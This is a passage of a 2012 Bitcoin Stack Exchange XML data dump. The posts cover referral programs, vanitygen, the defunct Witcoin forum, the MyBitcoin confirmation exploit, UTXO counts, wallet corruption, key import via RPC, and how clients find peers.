P2P nodes that store blocks and relay transactions.&lt;/li&gt;&#xA;&lt;li&gt;Miners that are authorized do compete, on a proof-of-work basis.&lt;/li&gt;&#xA;&lt;li&gt;A master node has power of authority and can intervene (i.e, always has 50%+1 majority) if needed.&lt;/li&gt;&#xA;&lt;li&gt;Frequent checkpoints from the master can limit the risk from compromized miner nodes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Only miners who are trusted would mine but even if one of them goes bad, the master can clean up by rewriting all the way back to the last checkpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it doesn't seem to be too much effort to fork the bitcoin trunk to work in this manner.  Centralized systems are always much easier than decentralized.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-04-28T01:02:53.167" LastActivityDate="2012-04-28T01:02:53.167" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3508" PostTypeId="1" CreationDate="2012-04-28T02:02:52.407" Score="3" ViewCount="1370" Body="&lt;p&gt;TradeHill used to offer a referral bonus when you got other people to sign up with your link, and there are a couple other sites that offer similar rewards for referrals. Which notable Bitcoin-related websites offer such rewards?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2015-01-12T23:03:40.837" LastActivityDate="2015-03-17T06:21:14.253" Title="Which notable Bitcoin-related sites offer referral rewards?" Tags="|websites|earnings|" AnswerCount="9" CommentCount="2" ClosedDate="2014-04-30T13:18:09.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="3509" PostTypeId="2" ParentId="3508" CreationDate="2012-04-28T04:11:22.557" Score="2" Body="&lt;p&gt;Between TradeHill, Bitcoin7 and a couple others the offering of affiliate rewards ended up spawning a spamfest.  Fortunately, TradeHill added terms and conditions that included no spamming and withheld commissions to spammers and the problem mostly went away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Camp BX apparently is one that offers a referral.  10% discount on trading fees for them and 10% commission for you.&#xA;After login, click on &quot;My Profile&quot; (or &lt;a href=&quot;https://campbx.com/in/userinfo.php&quot; rel=&quot;nofollow&quot;&gt;https://campbx.com/in/userinfo.php&lt;/a&gt; )&#xA;then scroll down to Affiliate Program Link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Others:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://clients.microtronix-tech.com/aff.php&quot; rel=&quot;nofollow&quot;&gt;http://clients.microtronix-tech.com/aff.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-05-22T06:02:09.973" LastActivityDate="2012-05-22T06:02:09.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3510" PostTypeId="2" ParentId="3504" CreationDate="2012-04-28T04:21:00.250" Score="9" Body="&lt;p&gt;&lt;strong&gt;tl;dr&lt;/strong&gt; If you stop vanitygen for 5 minutes, on average you've added 5 minutes to the time it will take to complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it is running, vanitygen tells you how much longer it will take until you have a 50% chance of finding a suitable address.  About half the time, that countdown will reach zero, and then the countdown starts again, but this time showing the time until you have a 75% chance.  And so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives the impression that it is making &quot;progress&quot; towards finding a suitable address, but that is misleading.  Every second that vanitygen is running is has a certain chance of finding an address.  There's no progress being made, in the same way that you don't &quot;make progress&quot; towards winning the lottery if you play it every week.  Just eventually if you play enough times, you win.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you stop the program running and start it again, you've lost nothing other than that you've wasted the time between stopping and restarting when it could have found a solution.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-04-28T04:21:00.250" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3511" PostTypeId="2" ParentId="3508" CreationDate="2012-04-28T04:31:26.150" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://strikesapphire.com/&quot; rel=&quot;nofollow&quot;&gt;Strike Sapphire&lt;/a&gt; is a casino offering poker freerolls and various table games and slots.  You receive $20 each time one of your referrals makes their first Bitcoin deposit.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitmadness.com/&quot; rel=&quot;nofollow&quot;&gt;BitMadness&lt;/a&gt; is a basketball result prediction game with Bitcoin prizes.  If you refer somebody and they win a prize, you get 10% of what they win.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="659" LastEditorUserId="2306" LastEditDate="2015-03-17T06:21:14.253" LastActivityDate="2015-03-17T06:21:14.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3512" PostTypeId="1" CreationDate="2012-04-28T09:03:06.257" Score="3" ViewCount="656" Body="&lt;p&gt;There used to be a forum site called Witcoin. It was interesting in that in order to post, you'd have to pay bitcoins, and when someone replied or upvoted, you made bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site went away. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the current state? Are there plans to bring it back? Will there be a chance for users to recover their coins?&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2012-04-29T05:30:35.633" Title="What is the state of Witcoin?" Tags="|websites|e-wallet|forum|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3513" PostTypeId="1" AcceptedAnswerId="3515" CreationDate="2012-04-28T10:33:07.157" Score="2" ViewCount="62" Body="&lt;p&gt;Let's assume that either a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1301/how-do-i-report-a-bug-in-the-bitcoin-client-application&quot;&gt;bug report&lt;/a&gt; exists already, or the problem is unlikely to be caused by a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I know so far is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;This site will be appropriate for some support questions, and the mechanism for the site encourages peer review of each answer. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3487/99-done-for-over-1-hour&quot;&gt;Here's an example&lt;/a&gt; of a support question.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;https://bitcointalk.org/index.php?board=4.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcointalk forums&lt;/a&gt; have a technical support category that is likely to give a good response as there are lots of active users.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Where else might I get timely support? (paid or unpaid)&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="5406" LastEditDate="2017-06-17T23:58:27.687" LastActivityDate="2017-06-17T23:58:27.687" Title="When I have a problem running the bitcoin client, where can I go to get help?" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3514" PostTypeId="2" ParentId="3512" CreationDate="2012-04-28T12:33:15.667" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Apologies for witcoin going down.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I have had a lot of internal issues with the administration of the old&#xA;  site and I hope to recover access to your accounts soon so please stay&#xA;  tuned for updates. For this I humbly apologise. Feel free to submit&#xA;  anything to this blog as I have left it open for you to post things&#xA;  to. Contact me by asking a question and once again, I am  sorry.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Dave , cryptocoinmedia , witcoin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://witcoin.com/post/18428807281/apologies-for-witcoin-going-down&quot; rel=&quot;nofollow&quot;&gt;Posted 2 months ago&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2012-04-28T12:33:15.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3515" PostTypeId="2" ParentId="3513" CreationDate="2012-04-28T13:51:45.163" Score="2" Body="&lt;p&gt;I think you have mentioned them all:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcointalk, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoin.stackexchange, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;github issues page, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoin-dev.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For commercial companies offering bitcoin client support see Stephen Gornick's answer. &lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2012-04-29T10:57:42.603" LastActivityDate="2012-04-29T10:57:42.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3516" PostTypeId="1" AcceptedAnswerId="41651" CreationDate="2012-04-28T19:15:38.640" Score="19" ViewCount="2691" Body="&lt;p&gt;The &lt;a href=&quot;http://culubas.blogspot.com/2011/05/timejacking-bitcoin_802.html&quot;&gt;timejacking attack&lt;/a&gt; appears to be a pretty straightforward attack to pull off successfully. I was wondering, whether it was ever performed and documented somewhere, or was it just theoretically described?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2015-01-07T06:19:51.087" LastActivityDate="2017-02-28T21:53:10.247" Title="Was a timejacking attack ever performed?" Tags="|security|timestamp|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3517" PostTypeId="2" ParentId="3064" CreationDate="2012-04-28T19:23:10.457" Score="1" Body="&lt;p&gt;Solution number 1 would mitigate this problem, but the attacker could try creating enough nodes to flood the network anyway (see &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Cancer_nodes&quot; rel=&quot;nofollow&quot;&gt;cancer nodes&lt;/a&gt;). It would not be likely that the attack would be performed, but it would still be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution number 2 would help with this problem, although it would cause a lot more problems with everything else. Imagine the excess traffic caused by tens of thousands of Bitcoin clients dropping all of their connections each minute and reestablishing them with new peers. You would need to exchange a lot of information this way you wouldn't normally have to (version, verack and inv messages during each such reconnection at the very least). As the attack does not appear a likely threat for the Bitcoin network, such overhead would be unjustifiable.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-04-28T19:23:10.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3518" PostTypeId="1" AcceptedAnswerId="3520" CreationDate="2012-04-28T19:51:54.400" Score="2" ViewCount="533" Body="&lt;p&gt;The name of MyBitcoin eWallet comes up quite often here and there. What is the story behind it and the attack on it they claimed occurred?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="153" LastEditDate="2012-04-28T20:08:14.507" LastActivityDate="2012-04-29T01:04:43.277" Title="What is the story behind MyBitcoin?" Tags="|attack|services|e-wallet|history|hacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3519" PostTypeId="2" ParentId="3513" CreationDate="2012-04-28T20:14:40.740" Score="1" Body="&lt;p&gt;If it is a problem such as a bug that might affect other users, the community wants to know, find the root cause, and document or fix the behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is a feature request or suggestion for improvement, there are processes for those as well.  e.g., BIP submissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is help from professional service organizations that offer their services as well.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitcoinConsultancy.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitcoinConsultancy.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://helpcoin.com/contact.html&quot; rel=&quot;nofollow&quot;&gt;http://helpcoin.com/contact.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-04-28T20:14:40.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3520" PostTypeId="2" ParentId="3518" CreationDate="2012-04-29T00:38:04.153" Score="3" Body="&lt;p&gt;They had a minimal confirmation count of a single block. This meant that someone could create a bad transaction and confirm it him/herself, that would trick the MyBitcoin software into thinking the transaction was certain (as it has a confirmation). The attacker then transacted Bitcoins away from the MyBitcoin service. When one or two[1] truly legitimate blocks had been created truth would catch the lie, but the Bitcoins were already out of MyBitcoin's reach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] the longest blockchain is considered the valid one. As long as most generation happens on a legitimate chain that chain will become the longest without fail. That means that someone can fake a single block when he's lucky, but a second block building upon that block would be significantly more difficult, as he's now racing with the legitimate blockchain. Assuming the attacker doesn't manage to outrace the legitimate chain his chain will still be one of the longest if the legitimate chain has only a single extra block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The minimal confirmations used in bitvau.lt is 3. Some services are using even more. It is effectively a security vs. usability tradeoff. The difference in computing power required for generating 3 blocks in a burst is quite significant and would most likely be noticed. If it is not burst-computed it could be would be quite expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their stoy? They had this error, it got exploited and they decided to give those that claimed it their coins back. In the end a lot of coins were stolen.&lt;/p&gt;&#xA;" OwnerUserId="909" LastEditorUserId="909" LastEditDate="2012-04-29T01:04:43.277" LastActivityDate="2012-04-29T01:04:43.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3521" PostTypeId="2" ParentId="3512" CreationDate="2012-04-29T05:30:35.633" Score="3" Body="&lt;p&gt;Witcoin was written and run by mizerydearia. At some point he became unable to run the site, but he was/is unwilling to give the witcoin database or wallet to anyone else. (Someone else owns the domain name.) Mizerydearia was very intelligent, honest, and active, but it seems likely that he's developed some sort of mental illness (as you'll see if you read his &lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=338;sa=showPosts&quot; rel=&quot;nofollow&quot;&gt;forum posts&lt;/a&gt;). It's very sad. Hopefully he'll someday recover enough to run witcoin again or at least refund the BTC.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-04-29T05:30:35.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3522" PostTypeId="2" ParentId="3506" CreationDate="2012-04-29T12:50:03.243" Score="4" Body="&lt;p&gt;BitInstant seems like a nice Tor-friendly option (they even accept deposits in cash): &lt;a href=&quot;https://www.bitinstant.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitinstant.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1319" LastActivityDate="2012-04-29T12:50:03.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3524" PostTypeId="1" AcceptedAnswerId="3526" CreationDate="2012-04-29T13:51:50.370" Score="11" ViewCount="2510" Body="&lt;p&gt;I was wondering the other day how many unspent transaction outputs there are ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just keep track of the unspent transaction outputs you could import private keys, know its balance  and perform spends. How much data is this compared to the full blockchain ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest downside is that you would not have the full transaction list for a private key/address - just the transactions that you can use for future transaction inputs. &lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="5406" LastEditDate="2021-10-28T17:12:55.820" LastActivityDate="2021-10-28T17:12:55.820" Title="How many unspent transaction outputs are there?" Tags="|utxo-set|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3526" PostTypeId="2" ParentId="3524" CreationDate="2012-04-29T16:34:36.130" Score="8" Body="&lt;p&gt;As of block 177778 (Apr 29, 2012 6:17:33 PM):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2944702 transactions&lt;/li&gt;&#xA;&lt;li&gt;6904591 transaction outputs&lt;/li&gt;&#xA;&lt;li&gt;5376092 transaction inputs&lt;/li&gt;&#xA;&lt;li&gt;1528499 unredeemed outputs left&lt;/li&gt;&#xA;&lt;li&gt;642432 addresses with non-zero balance&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastEditorUserId="-1" LastEditDate="2017-05-20T19:27:31.307" LastActivityDate="2017-05-20T19:27:31.307" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3527" PostTypeId="2" ParentId="3444" CreationDate="2012-04-29T23:52:39.593" Score="12" Body="&lt;p&gt;While working on my master thesis I used the &lt;a href=&quot;http://en.wikipedia.org/wiki/AACS_encryption_key_controversy&quot;&gt;AACS encryption key&lt;/a&gt; (09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0), considered an &lt;a href=&quot;http://en.wikipedia.org/wiki/Illegal_number&quot;&gt;illegal number&lt;/a&gt;, as a basis for creating a fake Bitcoin address - &lt;a href=&quot;http://blockexplorer.com/address/1ujTAfEQh2obwdt72GrmXonakx2RxvYpX&quot;&gt;1ujTAfEQh2obwdt72GrmXonakx2RxvYpX&lt;/a&gt;. A 1 Satoshi transaction was sent to that address from address 17TQLZvXjKTrUyRnV9DuQs4RVDgNjUPeXQ. The &lt;a href=&quot;http://blockexplorer.com/tx/6ceb2859747dc78d6e54a35cf6b49ec8530993a864a5325cb838a765dd023618#o1&quot;&gt;transaction&lt;/a&gt; was encoded in &lt;a href=&quot;http://blockexplorer.com/block/00000000000006c6076ba8b5078f6f4aafb1b55e03eddfbe2c488bc26cc723e8&quot;&gt;block 177653&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-04-29T23:52:39.593" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3528" PostTypeId="1" AcceptedAnswerId="3529" CreationDate="2012-04-30T12:36:30.743" Score="3" ViewCount="367" Body="&lt;p&gt;Currently blockchain.info lists that address in the &quot;about us&quot; page, but since the site is behaving erratically, I wonder if it's the real address or a phony one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. if the site was hacked, the address would likely be replaced with one the attacker has access to, so the info provided on the site itself is not very useful to determine if that address is genuine.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2012-09-04T18:21:34.550" LastActivityDate="2012-09-04T18:21:34.550" Title="Is support@pi.uk.com the real blockchain.info's support address?" Tags="|blockchain.info|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3529" PostTypeId="2" ParentId="3528" CreationDate="2012-04-30T13:52:34.500" Score="4" Body="&lt;p&gt;That's the address I used to contact Ben Reeves (blockchain.info's author) a few months ago, so it should be correct. Whether it is still in his control is a different question. He is also known as &lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=17928&quot; rel=&quot;nofollow&quot;&gt;piuk&lt;/a&gt; in the bitcointalk forums.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-04-30T13:52:34.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3530" PostTypeId="1" CreationDate="2012-04-30T15:33:54.387" Score="7" ViewCount="5481" Body="&lt;p&gt;I have a standard client (QT client on OSX) with an encrypted wallet. I've tried to import keys with pywallet, but while it claimed to be importing them, when I ran again the bitcoin client, it said wallet.dat was corrupted (yes the client wasn't running when I did the import).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess pywallet doesn't know about encryption and didn't care enough to check everything was ok before importing them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how do I do this import?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Trying to run the command line client gets me the following error a few seconds after starting it (with -daemon option of course):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EXCEPTION: NSt8ios_base7failureE       &#xA;CDataStream::read() : end of data       &#xA;bitcoin in AppInit()       &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Running the QT client with the &lt;code&gt;-server&lt;/code&gt; option crashes too after a while (apparently it works correctly without that).&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2012-05-02T18:26:17.523" LastActivityDate="2012-05-02T18:26:17.523" Title="How to import a private key to an encrypted wallet (on standard client)" Tags="|wallet|backup|encryption|wallet-recovery|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3531" PostTypeId="2" ParentId="3528" CreationDate="2012-04-30T15:54:31.443" Score="4" Body="&lt;p&gt;I reported a bug to that address just a week ago and had it fixed immediately:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;From: Ben Reeves &amp;lt;support@pi.uk.com&amp;gt; via gmail.com Apr 23 (7 days ago)&lt;br/&gt;&#xA;  To: Chris &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Chris,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Thanks for the heads up. This should be fixed now.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;piuk&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've used the same address many times in the past, too.  Sometimes I don't get a reply, sometimes I do.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-04-30T15:54:31.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3532" PostTypeId="2" ParentId="3530" CreationDate="2012-04-30T16:23:09.687" Score="5" Body="&lt;p&gt;Since 0.6.0, key import/export are available in the client itself, though only through RPC. The commands are called &lt;code&gt;dumpprivkey&lt;/code&gt; and &lt;code&gt;importprivkey&lt;/code&gt;. For example (on testnet):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$ ./bitcoind getnewaddress&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;n2JjZgLeCUgfubswxDm9zAaBGSLLHSLdNv&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;$ ./bitcoind dumpprivkey n2JjZgLeCUgfubswxDm9zAaBGSLLHSLdNv&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;cR4RtpaeAZY8MwrNvTQGX9PZ9pdCgFoLxuo4Pkwqx61broC4Gb4y&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And on another wallet:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$ ./bitcoind importprivkey R4RtpaeAZY8MwrNvTQGX9PZ9pdCgFoLxuo4Pkwqx61broC4Gb4y&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;$ ./bitcoind validateaddress n2JjZgLeCUgfubswxDm9zAaBGSLLHSLdNv&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{&#xA;      &quot;isvalid&quot; : true,&#xA;      &quot;address&quot; : &quot;n2JjZgLeCUgfubswxDm9zAaBGSLLHSLdNv&quot;,&#xA;      &quot;ismine&quot; : true,&#xA;      &quot;pubkey&quot; : &quot;029e3a934cfc9f89d7a1c15f99b98479cabc81964f4972e7b8fa3989a788261695&quot;,&#xA;      &quot;iscompressed&quot; : true,&#xA;      &quot;account&quot; : &quot;&quot;&#xA;  }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-04-30T16:23:09.687" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3533" PostTypeId="1" AcceptedAnswerId="3538" CreationDate="2012-04-30T18:00:42.150" Score="12" ViewCount="7425" Body="&lt;p&gt;I've been using bitcoin for over a year now without issues. It's been a while since I fired up a bitcoin client though, at least a couple months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try running a bitcoin client (bitcoin-qt version 0.6.0-oneiric0) today, I get the error message&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error loading wallet.dat: Wallet corrupted&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I generally use GPG to encrypt and decrypt wallet.dat, and I only have backups of the encrypted wallet.dat.gpg file. I encrypt and decrypt the file only while bitcoin is not running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried following &lt;a href=&quot;https://bitcointalk.org/index.php?topic=11331.0&quot;&gt;https://bitcointalk.org/index.php?topic=11331.0&lt;/a&gt; . The tools appeared to work (&lt;code&gt;dbdump.py --wallet&lt;/code&gt; doesn't throw any errors and spits out what looks like proper wallet contents), but after fixing my wallet with &lt;code&gt;fixwallet.py&lt;/code&gt; I get the same &quot;Wallet corrupted&quot; error from the bitcoin client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin client works fine if I blow away my &lt;code&gt;~/.bitcoin&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using 32-bit Ubuntu 11.10 desktop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried installing the latest bitcoin Qt client on Windows, but that also reports wallet.dat is corrupted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using a Linux binary from bitcoin.org, and I get this error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;************************&#xA;EXCEPTION: 22DbRunRecoveryException       &#xA;DbEnv::open: DB_RUNRECOVERY: Fatal error, run database recovery       &#xA;bitcoin in Runaway exception       &#xA;&#xA;terminate called after throwing an instance of 'DbRunRecoveryException'&#xA;  what():  DbEnv::open: DB_RUNRECOVERY: Fatal error, run database recovery&#xA;Aborted&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This may be related: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/809&quot;&gt;https://github.com/bitcoin/bitcoin/issues/809&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Update Mon, 30 Apr 2012 21:45:00 -0700&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I ended up trying a bunch of older versions of the bitcoin client, and version 0.3.24-beta reads the wallet just fine! What the heck!?! Gotta be a bug in bitcoin. Now I just need to figure out a way to safely &quot;upgrade&quot; my wallet so it works with 0.6, I guess.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Update Mon, 30 Apr 2012 22:00:00 -0700&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Bitcoin 0.4.1 is able to work with everything in my &lt;code&gt;~/.bitcoin&lt;/code&gt; dir. 0.5.4rc3 and 0.6.0 do &lt;em&gt;not&lt;/em&gt; work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to serialize the wallet data as plain text? Man, &lt;a href=&quot;http://identi.ca/notice/93238240&quot;&gt;I hate BerkeleyDB&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Update Wed, 02 May 2012 10:43:19 -0700&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Using Bitcoin 0.4.1 with my old wallet (which apparently contains something corrupt), I was able to transfer my balance to a new wallet created from scratch with Bitcoin 0.6.0.&lt;/p&gt;&#xA;" OwnerUserId="1045" LastEditorUserId="1045" LastEditDate="2012-05-02T17:45:02.483" LastActivityDate="2013-12-11T13:18:35.010" Title="Error loading wallet.dat: Wallet corrupted" Tags="|wallet|ubuntu|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3535" PostTypeId="2" ParentId="3533" CreationDate="2012-04-30T22:58:53.917" Score="3" Body="&lt;p&gt;This is kind of obvious, but have you tried going back through your backups, newest first, and using the first one which works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to GPG decrypt the backup of course, but I hope that's not a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I know you said you tried with just wallet.dat in ~/.bitcoin/ but could it be that you left the ~/.bitcoin/database/ directory with logfiles in it?  If so, old logfiles could be causing the problem.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-04-30T22:58:53.917" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3536" PostTypeId="1" AcceptedAnswerId="3537" CreationDate="2012-05-01T05:31:52.367" Score="194" ViewCount="60496" Body="&lt;p&gt;What protocols or algorithms are Bitcoin clients using in order to find their peers? I learnt that BitTorrent clients may rely on central computers called trackers. Do Bitcoin clients need any kind of central servers or nodes in order to operate?&lt;/p&gt;&#xA;" OwnerUserId="675" LastEditorUserId="2306" LastEditDate="2015-03-20T04:34:11.103" LastActivityDate="2017-10-18T12:34:54.980" Title="How do Bitcoin clients find each other?" Tags="|peer-discovery|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3537" PostTypeId="2" ParentId="3536" CreationDate="2012-05-01T06:15:46.977" Score="142" Body="&lt;p&gt;Bitcoin clients use several methods to locate other clients. The primary method is a list of nodes from a previous connection to the network. The works very well for everything but your first connection or a connection after a very long period of disconnection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the case where you have no previous known IPs or they aren't usable, the primary fallback method is by DNS seeds. Several host names (such as &lt;em&gt;dnsseed.bluematt.me&lt;/em&gt;) are maintained that resolve to a list of IP addresses known to be running nodes. Should that fail, the client has a list of IP addresses believed to point to stable nodes hard-coded into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One method that used to be used, but that has since been abandoned, was having the clients locate each other using an IRC server. That worked similar to a BitTorrent tracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are connected to the network, you will begin to receive lists of IP addresses and ports of known clients.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-05-01T06:15:46.977" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
